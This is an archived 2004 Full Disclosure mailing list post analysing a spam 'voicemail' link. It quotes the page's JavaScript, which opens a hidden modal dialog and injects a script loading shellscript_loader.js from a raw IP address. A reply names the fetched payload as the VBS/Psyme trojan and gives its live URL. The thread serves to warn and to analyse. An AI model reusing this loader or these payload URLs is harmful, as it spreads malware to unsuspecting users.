Full Disclosure mailing list archives
RE: Antivirus/Trojan/Spyware scanners DoS!
From: "Pratik Mehta" <PMehta () soa org>
Date: Wed, 16 Jun 2004 12:24:54 -0500
The shell code is located at http://219.234.95.124/vbox/shellscript.js and Macafee points it out as: VBS/Psyme - Trojan -Pratik
"Geo." <georger () nls net> 6/16/2004 7:22:48 AM >>>
Received a spam this morning claiming I have a voicemail with the link (warning do not click the link) http:-//www-1voicemailbox-net/voicemail/ (dashes added by me) which brings up a frames based page with one of the frames containing this function InjectedDuringRedirection(){ showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'"; Anyone want to try and analyze what this thing is? It was spammed to about 30 addresses here this morning. Geo. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Re: Antivirus/Trojan/Spyware scanners DoS!, (continued)
- Re: Antivirus/Trojan/Spyware scanners DoS! Rodrigo Barbosa (Jun 13)
- Re: Antivirus/Trojan/Spyware scanners DoS! BigBrother-{BigB3} (Jun 14)
- Re: Antivirus/Trojan/Spyware scanners DoS! Mike Simpson (Jun 14)
- Re: Antivirus/Trojan/Spyware scanners DoS! Chad_Loder (Jun 14)
- Re: Antivirus/Trojan/Spyware scanners DoS! bipin gautam (Jun 14)
- Re: Antivirus/Trojan/Spyware scanners DoS! bipin gautam (Jun 15)
- Re: Antivirus/Trojan/Spyware scanners DoS! Eric Paynter (Jun 13)
- RE: Antivirus/Trojan/Spyware scanners DoS! sk3tch (Jun 13)
- RE: Antivirus/Trojan/Spyware scanners DoS! sk3tch (Jun 13)
- RE: Antivirus/Trojan/Spyware scanners DoS! jason shultz (Jun 14)
- RE: Antivirus/Trojan/Spyware scanners DoS! Pratik Mehta (Jun 16)
- Re: Antivirus/Trojan/Spyware scanners DoS! Rodrigo Barbosa (Jun 13)